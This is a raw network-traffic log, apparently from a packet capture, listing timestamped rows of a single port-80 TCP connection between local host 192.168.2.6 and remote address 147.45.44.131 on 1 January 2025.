Jan 1, 2025 08:53:02.885550976 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.885562897 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.885576010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.885591984 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.885591984 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.885621071 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.886398077 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.886440039 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.886471987 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.886481047 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.886519909 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.886548996 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.886559963 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.886569977 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.886600971 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.886710882 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.886723042 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.886751890 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.886776924 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.886820078 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.886833906 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.886845112 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.886884928 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.886892080 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.886962891 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.886974096 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887006044 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.887070894 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887083054 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887094021 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887104988 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887111902 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.887140036 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.887211084 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887250900 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.887270927 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887283087 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887294054 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887322903 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.887428045 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887439966 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887450933 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887461901 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887474060 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.887475014 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887487888 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887489080 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.887525082 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.887726068 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887743950 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887753963 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887764931 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887777090 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887778044 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.887787104 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887799025 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887809038 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.887809038 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887823105 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887833118 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887835979 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.887845039 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887854099 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.887876034 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.887903929 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.888079882 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888123035 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.888164997 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888176918 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888186932 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888199091 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888209105 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888216972 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.888221979 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888231993 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.888258934 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.888462067 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888473988 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888484955 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888494968 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888506889 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888516903 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888530970 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.888557911 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.888567924 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888581038 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888590097 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888601065 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888612032 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888622046 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888637066 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888643026 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888643026 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.888643026 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.888649940 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888657093 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.888680935 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.888703108 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.889215946 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889229059 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889239073 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889250040 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889261961 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889271021 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889281988 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889292955 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889302015 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.889306068 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889317989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889328957 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889332056 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.889374971 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.889579058 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889590979 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889600992 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889620066 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889626026 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.889631033 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889641047 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889653921 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889659882 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.889667034 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889678001 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889689922 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.889692068 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889709949 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.889714956 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.889734983 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.889755011 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.890183926 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.890193939 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.890204906 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.890214920 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.890224934 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.890235901 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.890247107 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.890258074 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.890258074 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.890269995 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.890281916 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.890289068 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.890309095 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.890322924 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.898031950 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.970813990 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.970829010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.970840931 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.970993996 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.971040010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971054077 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971066952 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971077919 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971081972 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.971108913 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.971146107 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971158028 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971168995 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971178055 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971189022 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.971221924 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.971422911 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971434116 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971445084 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971453905 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971467972 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971472025 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.971479893 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971493006 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971497059 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.971503973 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971515894 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971525908 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.971528053 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971551895 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.971565962 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.971714973 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971724033 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.971756935 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.972136974 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.972179890 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.972181082 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.972192049 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.972229958 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.972266912 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.972284079 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.972323895 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.972419024 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.972431898 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.972472906 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.973201990 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.973211050 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.973217964 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.973256111 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.973284960 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.973297119 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.973326921 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.973366022 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.973377943 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.973407984 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.973450899 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.973462105 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.973495007 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.973576069 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.973620892 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.973656893 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.973669052 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.973710060 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.973753929 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.973764896 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.973819971 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.973855972 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.973867893 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.973879099 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.973890066 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.973923922 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.974071980 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974082947 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974093914 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974108934 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974121094 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974131107 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974139929 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.974140882 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974164963 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.974180937 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.974319935 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974334002 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974343061 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974366903 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.974396944 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.974431992 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974451065 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974462986 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974471092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974492073 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.974508047 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.974574089 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974584103 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974590063 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974596024 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974632978 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974642992 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.974647999 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974658012 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974668980 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974678993 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974701881 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.974730015 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.974946976 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974957943 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974967003 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974973917 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974982977 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.974993944 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.975024939 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.975089073 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975099087 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975109100 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975115061 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975125074 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975142956 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975151062 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975153923 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.975162983 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975169897 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975179911 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975186110 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.975214005 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.975214005 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.975630045 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975641966 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975651979 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975661039 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975672960 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975683928 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975692987 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975696087 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.975706100 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.975706100 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975718021 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975728989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975737095 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.975739956 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975754023 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.975768089 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.975931883 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975941896 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975951910 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975964069 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975966930 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.975975037 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.975994110 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.976015091 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.976202011 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976212025 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976217031 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976227045 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976237059 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976248026 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.976257086 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976267099 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976278067 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976280928 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.976286888 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976291895 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.976298094 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976315975 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976325989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976336002 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976337910 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.976346016 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.976350069 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976361990 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976371050 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976381063 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976383924 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.976394892 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976408958 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.976444006 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.976727009 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976855993 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976869106 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976880074 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976891041 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976896048 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.976905107 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976917982 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976928949 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976932049 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.976942062 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976943970 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.976953983 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976963997 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.976963997 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.976994038 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.023504972 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:03.057820082 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.057832956 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.057842970 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:03.058001995 CET	80	49700	147.45.44.131	192.168.2.6
